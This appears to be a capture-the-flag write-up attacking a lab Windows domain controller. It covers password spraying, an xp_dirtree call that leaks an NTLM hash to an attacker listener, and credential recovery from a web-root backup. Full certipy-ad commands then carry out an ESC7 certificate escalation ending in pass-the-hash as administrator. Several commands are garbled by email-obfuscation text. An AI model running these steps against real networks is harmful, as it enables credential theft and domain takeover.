# Lessons Learned
- Once we have `users.txt` always spray with same `username:password`
- Try all lowercase, all uppercase, etc. permutations
- `xp_dirtree` can be used to browse the local fs
- This can especially be useful when mssql is combined with an http server on the box so that we can review files within `\inetpub\wwwroot\`
- Review groups for clues of active ADCS, DB, etc.
---
# After-Action Attack Sequence
- BLUF: rid-brute for users; spray same `username:password`; `xp_dirtree` to find a backup file in `\inetpub\wwwroot\`; ESC7 privesc
- Exhaust HTTP enumeration > no clues
- Use `nxc smb [...] --rid-brute` to generate `users.txt`
- Spray `users.txt:users.txt` to reveal creds for `operator`
- Access mssql as `operator`
- Insufficient perms to enable `xp_cmdshell`
- However, `operator` can use `xp_dirtree` to reveal existence of backup file in `\inetpub\wwwroot\`
- Use `wget` to pull down the backup file, which reveals creds for `raven`
- Enumerate ADCS shows that `raven` has `manageCA` privs, which leads to an ESC7 privesc
---
# Discover Ports & Services
- `ping` test ![[images/Pasted image 20260605193412.png]]
- `nmap` scan - light
- create comma separated list of ports ![[images/Pasted image 20260605193904.png]]
- `nmap` scan - detailed ![[images/Pasted image 20260604193439.png]]![[images/Pasted image 20260604193458.png]]
---
# Service Enum
## Port 80 (http): IIS 10.0
- Visit page ![[images/Pasted image 20260604194943.png]]
- Page is divided into `index.html`, `about.html`, `service.html`, and `contact.html`
- request-response in `burp` ![[images/Pasted image 20260605194515.png]]
- `contact.html` may be useful to get someone to click something and disclose an NTLM hash ![[images/Pasted image 20260604195250.png]]
- test run > nothing happens --> dead-end
- there is a potential parameter: `contact.html?`
- Web fuzzing
- parameter fuzzing ![[images/Pasted image 20260605195025.png]]
- directory fuzzing ![[images/Pasted image 20260604200009.png]]
- directory fuzzing with specified extensions
- page fuzzing ![[images/Pasted image 20260604200623.png]]
- subdomain fuzzing ![[images/Pasted image 20260604201103.png]]
- vhost fuzzing ![[images/Pasted image 20260604201219.png]]
## Port 445 (smb)
- null auth
- `guest: `reveals shares ![[images/Pasted image 20260604193746.png]]
- confirm with `smbmap`![[images/Pasted image 20260604194105.png]]
- nothing in `IPC
![[images/Pasted image 20260604194215.png]]
- enum users ![[images/Pasted image 20260604194438.png]]
- indications of a DB groups and an ADCS group
- create users list ![[images/Pasted image 20260604194849.png]]
- Try validating usernames with `kerbrute userenum` ![[images/Pasted image 20260605202055.png]]
- Try same username same password (lowercase) ![[images/Pasted image 20260605201823.png]]
- operator has read access to default shares ![[images/Pasted image 20260605202208.png]]
- nothing interesting in these shares
- confirm local and domain users ![[images/Pasted image 20260605202446.png]]
## Port 1433 (mssql)
- NSE check ![[images/Pasted image 20260604201428.png]]
- Maybe `xp-cmdshell` is available once we have creds
- try using `nxc mssql`
- this works but I cannot execute commands yet ![[images/Pasted image 20260605205533.png]]
- enum dbs ![[images/Pasted image 20260607185752.png]]
- try using `mssqlclient.py` as `Operator`
- cannot get in ![[images/Pasted image 20260605203932.png]]
- try with `windows-auth` flag ![[images/Pasted image 20260607185913.png]]
- we dont have perms to enable `xp_cmdshell` ![[images/Pasted image 20260607190353.png]] ![[images/Pasted image 20260607190401.png]]
- attempt to grab service hash and attempt to crack > exhausted
```bash
sudo responder -I tun0 #kali
EXEC master..xp_dirtree '\\10.10.14.173\test' #target mssql
```
![[images/Pasted image 20260607195555.png]]
- `xp_dirtree` works ![[images/Pasted image 20260607200440.png]]
- how can we grab the backup > use `wget` as this is on the website root ![[images/Pasted image 20260607201216.png]]
- upon unzipping the backup and reviewing `.old-conf.xml`, we have creds for `raven`
- `raven` is a member of `remote management users` ``
---
# AD Enum
## ASREP Roasting
- Nothing ![[images/Pasted image 20260604200120.png]]
## Kerberoasting
- Nothing ![[images/Pasted image 20260605202900.png]]
## ADCS
- ADCS is active as suspected based on previously found group names ![[images/Pasted image 20260605202849.png]]
- in order to perform ADCS related attacks we will need to sync our time with DC due to significant clock skew ![[images/Pasted image 20260608190050.png]]
## BloodHound
- `Operator` has multiple enrollment rights based on membership in `domain users` and `authenticated users` ![[images/Pasted image 20260607151024.png]]
---
# AD Attack Chain
## Shell as `raven`
- Use `evil-winrm` to open a shell as `raven` ![[images/Pasted image 20260607202020.png]]
- we have `semachineaccountprivelege` to add computers and `seincreaseworkingsetgprivilege`
- run `certipy-ad [...] -vulnerable -stdout` as `raven` ![[images/Pasted image 20260607202535.png]]
## Exploit ESC7 vuln
- Add `raven` as an officer
```bash
certipy-ad ca -ca manager-DC01-CA -dc-ip 10.129.11.192 -add-officer raven -username
[email protected] -p password -debug
```
![[images/Pasted image 20260607203401.png]]
- Enable `SubCA` template ![[images/Pasted image 20260607203442.png]]
```bash
certipy-ad ca -ca 'manager-DC01-CA' -dc-ip 10.129.11.192 -enable-template SubCA -username '
[email protected]' -password password -debug
```
- Find SID for `administrator` ![[images/Pasted image 20260607203854.png]]
- Submit cert request using `SubCA` template
```bash
certipy-ad req -username '
[email protected]' -password password -ca manager-DC01-CA -target manager.htb -template SubCA -upn
[email protected] -debug
```
![[images/Pasted image 20260608191621.png]]
- Approve pending request
```bash
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 20 -username '
[email protected]' -password password -debug
```
![[images/Pasted image 20260608192038.png]]
- Retrieve cert
```bash
certipy-ad req -ca manager-DC01-CA -target dc01.manager.htb -retrieve 20 -username
[email protected] -p password
```
![[images/Pasted image 20260608192021.png]]
- Grab NT hash
```bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.11.192
```
![[images/Pasted image 20260608192228.png]]
- Try again with `faketime`
```bash
faketime "$(ntpdate -q 10.129.11.192 | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.11.192
```
![[images/Pasted image 20260608192507.png]]
## Shell as `administrator`
- PtH with `evil-winrm` ![[images/Pasted image 20260608192619.png]]
- Grab `root.txt` ![[images/Pasted image 20260608192647.png]]